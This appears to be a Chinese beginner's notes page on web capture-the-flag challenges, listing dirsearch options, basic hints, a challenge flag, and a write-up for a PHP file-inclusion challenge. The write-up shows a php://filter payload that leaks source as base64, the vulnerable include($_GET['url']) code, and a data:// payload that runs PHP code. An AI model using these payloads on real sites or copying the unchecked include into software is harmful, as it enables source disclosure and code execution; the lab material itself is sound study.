web菜狗初学笔记

Web签到

目录扫描工具-dirsearch

  1. 参数列表：
  2. -h, --help 查看帮助
  3. -u URL, --url=URL 设置url
  4. -L URLLIST, --url-list=URLLIST 设置url列表
  5. -e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
  6. -w WORDLIST, --wordlist=WORDLIST 设置字典
  7. -l, --lowercase 小写
  8. -f, --force-extensions 强制扩展字典里的每个词条
  9. -s DELAY, --delay=DELAY 设置请求之间的延时
  10. -r, --recursive Bruteforce recursively 递归地扫描
  11. –scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
  12. –exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的子目录扫描(用逗号隔开)
  13. -t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
  14. -x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗号隔开)
  15. -c COOKIE, --cookie=COOKIE 设置cookie
  16. –ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
  17. -F, --follow-redirects 跟随地址重定向扫描
  18. -H HEADERS, --header=HEADERS 设置请求头
  19. –random-agents, --random-user-agents 设置随机代理
  20. –timeout=TIMEOUT 设置超时时间
  21. –ip=IP 设置代理IP地址
  22. –proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
  23. –max-retries=MAXRETRIES 设置最大的重试次数
  24. -b, --request-by-hostname 通过主机名请求速度，默认通过IP
  25. –simple-report=SIMPLEOUTPUTFILE 保存结果，发现的路径
  26. –plain-text-report=PLAINTEXTOUTPUTFILE 保存结果，发现的路径和状态码
  27. –json-report=JSONOUTPUTFILE 以json格式保存结果

 

 Flag在哪里？

view-source:  查看源码

Robots 

robots.txt

 POST&GET

get  、post 传参

qsnctf{e36e4d9c-8bc0-483e-8ce3-853d1f776355}

 CheckMe01

 

 

CheckMe02

文件包含, php伪协议可以查看到index.php的源码的base64：

?url=php://filter/read=convert.base64-encode/resource=index.php
PHRpdGxlPkNoZWNrTWUtMDI8L3RpdGxlPg0KPD9waHANCnByaW50KCI8aDE+5qyi6L+O5p2l5YiwQ2hlY2tNZS0wMu+8jOW/q+adpeWvu+aJvuS9oOeahEZsYWflubbmj5DkuqTlkKfjgII8L2gxPiIpOw0KPz4NCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQokdXJsPSRfR0VUWyd1cmwnXTsNCmlmKGlzc2V0KCR1cmwpKXsNCiAgICBpbmNsdWRlKCR1cmwpOw0KfQ0KICAgIA0KPz4NCjxodG1sIGxhbmc9InpoLUNOIj4NCjw/cGhwDQogICAgICAgICAgICANCiAgICAgICAgICAgICRjb2RlPSI8P3BocCBpbmNsdWRlKCQiLiJfR0VUWyd1cmwnXSk7Pz4iOw0KICAgICAgICAgICAgaGlnaGxpZ2h0X3N0cmluZygkY29kZSk7DQogICAgPz4NCg==

 

  1. <title>CheckMe-02</title>
  2. <?php
  3. print("<h1>欢迎来到CheckMe-02，快来寻找你的Flag并提交吧。</h1>");
  4. ?>
  5. <?php
  6. error_reporting(0);
  7. $url=$_GET['url'];
  8. if(isset($url)){
  9.     include($url);
  10. }
  11.     
  12. ?>
  13. <html lang="zh-CN">
  14. <?php
  15.             
  16.             $code="<?php include($"."_GET['url']);?>";
  17.             highlight_string($code);
  18.     ?>

 

  1. 读取phpinfo()：
  2.  
  3. ?url=data:text/plain,<?php phpinfo();?>

参考大佬博客

[青少年CTF]Web-CheckMe01-04 writeup by q1jun_q1jun的博客-CSDN博客

或者查看根目录下的flag

 2个SQL

wp写的挺详细

青少年CTF-Web-2个SQL - 青少年CTF初学者起源地 | 青少年CTF论坛